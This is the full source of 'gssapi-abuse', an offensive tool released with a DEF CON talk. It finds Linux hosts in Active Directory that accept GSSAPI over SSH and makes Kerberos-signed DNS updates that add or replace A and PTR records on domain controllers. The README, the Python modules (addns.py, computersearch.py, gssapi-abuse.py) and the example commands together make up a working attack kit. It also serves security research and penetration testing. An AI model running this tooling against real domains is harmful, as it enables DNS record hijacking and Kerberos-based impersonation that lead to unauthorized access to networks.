├── .gitignore ├── README.md ├── addns.py ├── computersearch.py ├── gssapi-abuse.py ├── requirements.txt └── utils.py /.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__ 2 | .vscode -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # gssapi-abuse 2 | 3 | gssapi-abuse was released as part of my DEF CON 31 talk. A full write up on the abuse vector can be found here: 4 | [A Broken Marriage: Abusing Mixed Vendor Kerberos Stacks](https://www.pentestpartners.com/security-blog/a-broken-marriage-abusing-mixed-vendor-kerberos-stacks/) 5 | 6 | The tool has two features. The first is the ability to enumerate non Windows hosts that are joined to Active Directory that offer GSSAPI authentication over SSH. 7 | 8 | The second feature is the ability to perform dynamic DNS updates for GSSAPI abusable hosts that do not have the correct forward and/or reverse lookup DNS entries. GSSAPI based authentication is strict when it comes to matching service principals, therefore DNS entries should match the service principal name both by hostname and IP address. 9 | 10 | ## Prerequisites 11 | 12 | gssapi-abuse requires a working krb5 stack along with a correctly configured krb5.conf. 13 | 14 | ### Windows 15 | 16 | On Windows hosts, the MIT Kerberos software should be installed in addition to the python modules listed in `requirements.txt`, this can be obtained at the [MIT Kerberos Distribution Page](https://web.mit.edu/kerberos/dist/index.html). Windows krb5.conf can be found at `C:\ProgramData\MIT\Kerberos5\krb5.conf` 17 | 18 | ### Linux 19 | 20 | The `libkrb5-dev` package needs to be installed prior to installing python requirements 21 | 22 | ### All 23 | 24 | Once the requirements are satisfied, you can install the python dependencies via pip/pip3 tool 25 | 26 | ``` 27 | pip install -r requirements.txt 28 | ``` 29 | 30 | ## Enumeration Mode 31 | 32 | The enumeration mode will connect to Active Directory and perform an LDAP search for all computers that do not have the word `Windows` within the Operating System attribute. 33 | 34 | Once the list of non Windows machines has been obtained, gssapi-abuse will then attempt to connect to each host over SSH and determine if GSSAPI based authentication is permitted. 35 | 36 | ### Example 37 | 38 | ``` 39 | python .\gssapi-abuse.py -d ad.ginge.com enum -u john.doe -p SuperSecret! 40 | [=] Found 2 non Windows machines registered within AD 41 | [!] Host ubuntu.ad.ginge.com does not have GSSAPI enabled over SSH, ignoring 42 | [+] Host centos.ad.ginge.com has GSSAPI enabled over SSH 43 | ``` 44 | 45 | ## DNS Mode 46 | 47 | DNS mode utilises Kerberos and dnspython to perform an authenticated DNS update over port 53 using the DNS-TSIG protocol. Currently `dns` mode relies on a working krb5 configuration with a valid TGT or DNS service ticket targetting a specific domain controller, e.g. `DNS/dc1.victim.local`. 48 | 49 | ### Examples 50 | 51 | Adding a DNS `A` record for host `ahost.ad.ginge.com` 52 | ``` 53 | python .\gssapi-abuse.py -d ad.ginge.com dns -t ahost -a add --type A --data 192.168.128.50 54 | [+] Successfully authenticated to DNS server win-af8ki8e5414.ad.ginge.com 55 | [=] Adding A record for target ahost using data 192.168.128.50 56 | [+] Applied 1 updates successfully 57 | ``` 58 | 59 | Adding a reverse `PTR` record for host `ahost.ad.ginge.com`. Notice that the `data` argument is terminated with a `.`, this is important or the record becomes a relative record to the zone, which we do not want. We also need to specify the target zone to update, since `PTR` records are stored in different zones to `A` records. 60 | ``` 61 | python .\gssapi-abuse.py -d ad.ginge.com dns --zone 128.168.192.in-addr.arpa -t 50 -a add --type PTR --data ahost.ad.ginge.com. 62 | [+] Successfully authenticated to DNS server win-af8ki8e5414.ad.ginge.com 63 | [=] Adding PTR record for target 50 using data ahost.ad.ginge.com. 64 | [+] Applied 1 updates successfully 65 | ``` 66 | 67 | Forward and reverse DNS lookup results after execution 68 | 69 | ``` 70 | nslookup ahost.ad.ginge.com 71 | Server: WIN-AF8KI8E5414.ad.ginge.com 72 | Address: 192.168.128.1 73 | 74 | Name: ahost.ad.ginge.com 75 | Address: 192.168.128.50 76 | ``` 77 | 78 | ``` 79 | nslookup 192.168.128.50 80 | Server: WIN-AF8KI8E5414.ad.ginge.com 81 | Address: 192.168.128.1 82 | 83 | Name: ahost.ad.ginge.com 84 | Address: 192.168.128.50 85 | ``` 86 | 87 | -------------------------------------------------------------------------------- /addns.py: -------------------------------------------------------------------------------- 1 | import gssapi 2 | 3 | import dns 4 | import dns.update 5 | import dns.name 6 | import dns.tsig 7 | import dns.tsigkeyring 8 | import dns.rdtypes 9 | import dns.rdtypes.ANY 10 | import dns.rdtypes.ANY.TKEY 11 | import dns.message 12 | import dns.query 13 | import dns.resolver 14 | 15 | import logging 16 | import uuid 17 | import time 18 | import utils 19 | 20 | from typing import List 21 | 22 | 23 | class SecureDnsUpdates: 24 | 25 | _keyring : dns.tsig.GSSTSigAdapter = None 26 | _keyname : dns.name.Name = None 27 | _server_addr : str = None 28 | _soa_server : str = None 29 | _current_update : dns.update.UpdateMessage = None 30 | _zone : str = None 31 | 32 | log = logging.getLogger('securedns') 33 | 34 | def __init__(self, zone : str, server: str = None): 35 | 36 | self._zone = zone; 37 | 38 | #Figure out the nameserver for the zone we want to update 39 | nameserver = utils.get_soa(self._zone, server) 40 | self._soa_server = nameserver[0] 41 | self._server_addr = nameserver[1] 42 | 43 | # Now authenticate and negoitate a GSS-TSIG context 44 | # for signing DNS updates 45 | self._gss_tsig_init_ctx(self._soa_server, self._server_addr) 46 | 47 | self.log.info("[+] Successfully authenticated to DNS server %s" % (self._soa_server)) 48 | 49 | self._current_update = dns.update.UpdateMessage(zone, keyring=self._keyring, 50 | keyname=self._keyname, keyalgorithm='gss-tsig.') 51 | 52 | 53 | def add(self, name : str, type : str, ttl : str, data : str): 54 | self.log.debug("[=] %s for zone %s has been added for pending addition" % (name, self._zone)) 55 | self._current_update.add(name, ttl, type, data) 56 | 57 | def delete(self, name : str): 58 | self.log.debug("[=] %s for zone %s has been added for pending removal" % (name, self._zone)) 59 | self._current_update.delete(name) 60 | 61 | def replace(self, name : str, type : str, ttl : str, data : str): 62 | self.log.debug("[=] %s for zone %s has been added for pending replacement" % (name, self._zone)) 63 | self._current_update.replace(name, ttl, type, data) 64 | 65 | def apply(self, timeout=5) -> dns.message.Message: 66 | result = dns.query.tcp(self._current_update, self._server_addr, timeout) 67 | 68 | if result.rcode() == 0: 69 | self.log.info("[+] Applied %d updates successfully" % len(self._current_update.update)) 70 | else: 71 | self.log.error("[!] Failed to apply %d updates with rcode %d" % (len(self._current_update.update), result.rcode())) 72 | 73 | self._current_update = dns.update.UpdateMessage(self._zone, keyring=self._keyring, 74 | keyname=self._keyname, keyalgorithm='gss-tsig.') 75 | 76 | return result 77 | 78 | def _build_tkey_query(self, token): 79 | # make TKEY record 80 | inception_time = int(time.time()) 81 | tkey = dns.rdtypes.ANY.TKEY.TKEY( 82 | dns.rdataclass.ANY, 83 | dns.rdatatype.TKEY, 84 | dns.name.from_text('gss-tsig.'), 85 | inception_time, 86 | inception_time, 87 | 3, 88 | dns.rcode.NOERROR, 89 | token, 90 | b'' 91 | ) 92 | 93 | # make TKEY query 94 | tkey_query = dns.message.make_query( 95 | self._keyname, 96 | dns.rdatatype.RdataType.TKEY, 97 | dns.rdataclass.RdataClass.ANY 98 | ) 99 | 100 | # create RRSET and add TKEY record 101 | rrset = tkey_query.find_rrset( 102 | tkey_query.additional, 103 | self._keyname, 104 | dns.rdataclass.RdataClass.ANY, 105 | dns.rdatatype.RdataType.TKEY, 106 | create=True 107 | ) 108 | rrset.add(tkey) 109 | tkey_query.keyring = self._keyring 110 | return tkey_query 111 | 112 | 113 | def _gss_tsig_init_ctx(self, name_server_fqdn, name_server_ip): 114 | """ 115 | initialize GSS-TSIG security context 116 | 117 | :param name_server_fqdn: server fqdn 118 | :param name_server_ip: ip address of dns server 119 | 120 | :return: TSIG key and TSIG key name 121 | """ 122 | # generate random name 123 | random = uuid.uuid4() 124 | self._keyname = dns.name.from_text(f"{random}") 125 | spn = gssapi.Name(f'DNS/{name_server_fqdn}', gssapi.NameType.krb5_nt_principal_name) 126 | 127 | # create gssapi security context and TSIG keyring 128 | client_ctx = gssapi.SecurityContext(name=spn, usage='initiate') 129 | tsig_key = dns.tsig.Key(self._keyname, client_ctx, 'gss-tsig.') 130 | keyring = dns.tsigkeyring.from_text({}) 131 | keyring[self._keyname] = tsig_key 132 | self._keyring = dns.tsig.GSSTSigAdapter(keyring) 133 | 134 | # perform GSS-API TKEY Exchange 135 | token = client_ctx.step() 136 | self.log.debug('keyname -> %s', self._keyname) 137 | self.log.debug('keyring -> %s', self._keyring) 138 | while not client_ctx.complete: 139 | tkey_query = self._build_tkey_query(token) 140 | response = dns.query.tcp(tkey_query, name_server_ip, timeout=10, port=53) 141 | if not client_ctx.complete: 142 | token = client_ctx.step(response.answer[0][0].key) 143 | 144 | -------------------------------------------------------------------------------- /computersearch.py: -------------------------------------------------------------------------------- 1 | 2 | from ldap3 import Connection 3 | from ldap3 import Server 4 | from ldap3 import ALL 5 | 6 | class ComputerSearch: 7 | 8 | _ldapConnection : Connection = None 9 | _base : str 10 | 11 | def __init__(self, url, user, password): 12 | 13 | server = Server(url, get_info=ALL) 14 | 15 | self._ldapConnection = Connection(server, user=user,password=password, authentication='NTLM') 16 | if self._ldapConnection.bind() == False: 17 | raise Exception("LDAP login failed") 18 | 19 | self._base = server.info.naming_contexts[0] 20 | 21 | 22 | def find_linux_hosts(self): 23 | 24 | hosts = [] 25 | 26 | if self._ldapConnection.search(search_filter = "(&(objectClass=computer)(!(operatingSystem=*Windows*)))", attributes=['dNSHostName'], search_base=self._base) == True: 27 | 28 | for result in self._ldapConnection.response: 29 | if(result['type'] == 'searchResEntry' and len(result['attributes']['dNSHostName']) > 0): 30 | hosts.append(result['attributes']['dNSHostName']) 31 | 32 | return hosts -------------------------------------------------------------------------------- /gssapi-abuse.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import sys 3 | import utils 4 | import dns.query 5 | import dns.name 6 | import dns.reversename 7 | import dns.message 8 | import dns.resolver 9 | import dns.exception 10 | import paramiko 11 | import socket 12 | import argparse 13 | 14 | from addns import SecureDnsUpdates 15 | from computersearch import ComputerSearch 16 | 17 | def gssapi_supported(host : str) -> bool : 18 | 19 | try: 20 | s = socket.socket() 21 | s.connect((host, 22)) 22 | t = paramiko.Transport(s) 23 | t.connect() 24 | t.auth_none('') 25 | 26 | except paramiko.BadAuthenticationType as err: 27 | for type in err.allowed_types: 28 | if 'gssapi' in type: 29 | return True 30 | except Exception: 31 | return False 32 | 33 | 34 | return False 35 | 36 | def setup_logging(verbose): 37 | 38 | root = logging.getLogger() 39 | handler_level = logging.INFO 40 | 41 | if verbose is False: 42 | root.setLevel(logging.INFO) 43 | logging.getLogger('paramiko.transport').setLevel(logging.WARNING) 44 | logging.getLogger('securedns').setLevel(logging.INFO) 45 | else: 46 | root.setLevel(logging.DEBUG) 47 | handler_level = logging.DEBUG 48 | 49 | handler = logging.StreamHandler(sys.stdout) 50 | handler.setLevel(handler_level) 51 | formatter = None 52 | 53 | if verbose: 54 | formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s') 55 | else: 56 | formatter = logging.Formatter('%(message)s') 57 | 58 | handler.setFormatter(formatter) 59 | root.addHandler(handler) 60 | 61 | def dns_updates(args : argparse.Namespace, log : logging.Logger): 62 | 63 | secure_dns = None 64 | 65 | if args.zone == None: 66 | secure_dns = SecureDnsUpdates('%s.' % args.domain, args.dc) 67 | else: 68 | secure_dns = SecureDnsUpdates('%s.' % args.zone, args.dc) 69 | 70 | if args.action == 'add': 71 | log.info("[=] Adding %s record for target %s using data %s" % (args.type, args.target, args.data)) 72 | secure_dns.add(args.target, args.type, '300', args.data) 73 | elif args.action == 'remove': 74 | log.info("[=] Removing %s record for target %s" % (args.type, args.target)) 75 | secure_dns.delete(args.target) 76 | if args.action == 'update': 77 | log.info("[=] Updating %s record for target %s using data %s" % (args.type, args.target, args.data)) 78 | secure_dns.replace(args.target, args.type, '300', args.data) 79 | 80 | secure_dns.apply() 81 | 82 | def enum(args : argparse.Namespace , log : logging.Logger): 83 | 84 | dc = args.domain 85 | if args.dc is not None: 86 | dc = args.dc 87 | 88 | search = ComputerSearch("ldap://%s" % dc, '%s\\%s' % (args.domain, args.user), args.password) 89 | results = search.find_linux_hosts() 90 | dns_cache = dict() 91 | 92 | print("[=] Found %d non Windows machines registered within AD" % len(results)) 93 | 94 | for host in results: 95 | 96 | log.debug("[=] Querying host %s for GSSAPI abuse potential" % host) 97 | 98 | hostName = dns.name.from_text(host) 99 | domain = hostName.parent().to_text(True) 100 | 101 | if(domain not in dns_cache.keys()): 102 | try: 103 | dns_cache[domain] = utils.get_soa(domain, args.dc) 104 | except dns.exception.Timeout: 105 | log.info("[!] Host %s does not have a DNS records, ignoring" % host) 106 | continue 107 | 108 | dns_server = dns_cache[domain] 109 | 110 | res = dns.resolver.Resolver(False) 111 | res.nameservers = [dns_server[1]] 112 | 113 | try: 114 | response = res.resolve(hostName, 'A', tcp=True) 115 | except (dns.resolver.NXDOMAIN, dns.resolver.NoAnswer, dns.resolver.NoNameservers): 116 | log.debug("[!] Host %s does not have an A record, igorning" % hostName) 117 | continue 118 | 119 | address = response[0].address 120 | reverse = '' 121 | reverse_zone = dns.reversename.from_address(address) 122 | reverse_match = True 123 | 124 | try: 125 | response = res.resolve_address(address) 126 | reverse = response[0].target.to_text(True) 127 | except (dns.resolver.NXDOMAIN, dns.resolver.NoAnswer, dns.resolver.NoNameservers): 128 | log.debug("[!] IP %s for host %s does not have an PTR record, igorning" % (address, hostName)) 129 | 130 | if reverse != host: 131 | reverse_match = False 132 | found = False 133 | for parent in range(0, 3): 134 | try: 135 | log.debug("[=] Attempting to resolve SOA for reverse zone %s" % reverse_zone.parent().to_text()) 136 | utils.get_nameserver(reverse_zone.parent().to_text(), args.dc) 137 | found = True 138 | break 139 | except (dns.resolver.NXDOMAIN, dns.resolver.NoAnswer, dns.exception.Timeout): 140 | reverse_zone = reverse_zone.parent() 141 | continue 142 | 143 | if not found: 144 | log.info("[!] Ignoring host %s because does not have a PTR record and the zone %s does not exist, we cant add new records :(" % (host, reverse_zone.parent().to_text())) 145 | continue 146 | 147 | if gssapi_supported(host) == True: 148 | if reverse_match: 149 | log.info("[+] Host %s has GSSAPI enabled over SSH" % host) 150 | else: 151 | log.info("[+] Host %s has GSSAPI enabled over SSH but the PTR record for IP address %s is incorrect. Use dns mode to create a PTR record" % (host, address)) 152 | else: 153 | log.info("[!] Host %s does not have GSSAPI enabled over SSH, ignoring" % host) 154 | 155 | def main() -> int: 156 | 157 | parser = argparse.ArgumentParser( 158 | prog='gssapi-abuse', 159 | description='Enumerate and abuse Kerberos MIT hosts joined to Active Directory domains') 160 | 161 | subparsers = parser.add_subparsers(help='enum or dns mode', required=True, dest="command") 162 | 163 | 164 | enum_parser = subparsers.add_parser('enum', help='Enumerate hosts that are potentially vulnerable to GSSAPI abuse') 165 | enum_parser.add_argument('-u', '--user', required=True, help="User to authenticate to LDAP with") 166 | enum_parser.add_argument('-p', '--password', required=True, help='Password for the LDAP user') 167 | enum_parser.set_defaults(func=enum) 168 | 169 | dns_parser = subparsers.add_parser('dns', help='Perform secure DNS updates') 170 | dns_parser.add_argument('-t', '--target', required=True, help="The target DNS record name when executing DNS updates") 171 | dns_parser.add_argument('-a', '--action', choices=['add','remove', 'update'], required=True, help="The DNS action to take. 'add','remove' or 'update' is supported") 172 | dns_parser.add_argument('--type', required=True, help="The DNS record type to perform the action on, e.g PTR or A record") 173 | dns_parser.add_argument('--data', help="The DNS record data, e.g. 1.2.3.4 for A record") 174 | dns_parser.add_argument('--zone', help="The DNS zone to update, if ommited, the target AD domain name is used") 175 | dns_parser.set_defaults(func=dns_updates) 176 | 177 | parser.add_argument('--dc', help="Force a specific domain controller to use") 178 | parser.add_argument('-d', '--domain', required=True, help="The target AD domain") 179 | parser.add_argument('-v', '--verbose', action='store_true', help="Enable verbose logging") # on/off flag 180 | 181 | args = parser.parse_args() 182 | 183 | setup_logging(args.verbose) 184 | 185 | log = logging.getLogger('gssapi-abuse') 186 | 187 | args.func(args, log) 188 | return 0 189 | 190 | if __name__ == '__main__': 191 | sys.exit(main()) # next section explains the use of sys.exit -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | dnspython==2.4.1 2 | gssapi==1.8.2 3 | ldap3==2.9.1 4 | paramiko==3.2.0 5 | -------------------------------------------------------------------------------- /utils.py: -------------------------------------------------------------------------------- 1 | 2 | import dns.resolver 3 | import socket 4 | 5 | def get_nameserver(zone : str, server : str = None): 6 | 7 | resolver = None 8 | answer = None 9 | 10 | if server is not None: 11 | resolver = dns.resolver.Resolver(configure=False) 12 | resolver.nameservers = [server] 13 | answer = resolver.resolve(zone, "NS") 14 | else: 15 | answer = dns.resolver.resolve(zone, "NS") 16 | 17 | ns_server = answer.rrset[0] 18 | server_addr = probe_server(ns_server, zone) 19 | return (ns_server, server_addr) 20 | 21 | 22 | def get_soa(zone : str, server : str = None): 23 | 24 | resolver = None 25 | answer = None 26 | 27 | if server is not None: 28 | resolver = dns.resolver.Resolver(configure=False) 29 | resolver.nameservers = [server] 30 | answer = resolver.resolve(zone, "SOA") 31 | else: 32 | answer = dns.resolver.resolve(zone, "SOA") 33 | 34 | soa_server = answer.rrset[0].mname.to_text(True) 35 | server_addr = probe_server(soa_server, zone) 36 | return (soa_server, server_addr) 37 | 38 | def probe_server(server_name, zone): 39 | gai = socket.getaddrinfo(str(server_name), 40 | "domain", 41 | socket.AF_UNSPEC, 42 | socket.SOCK_DGRAM) 43 | for af, sf, pt, cname, sa in gai: 44 | query = dns.message.make_query(zone, "SOA") 45 | res = dns.query.tcp(query, sa[0], timeout=10) 46 | return sa[0] --------------------------------------------------------------------------------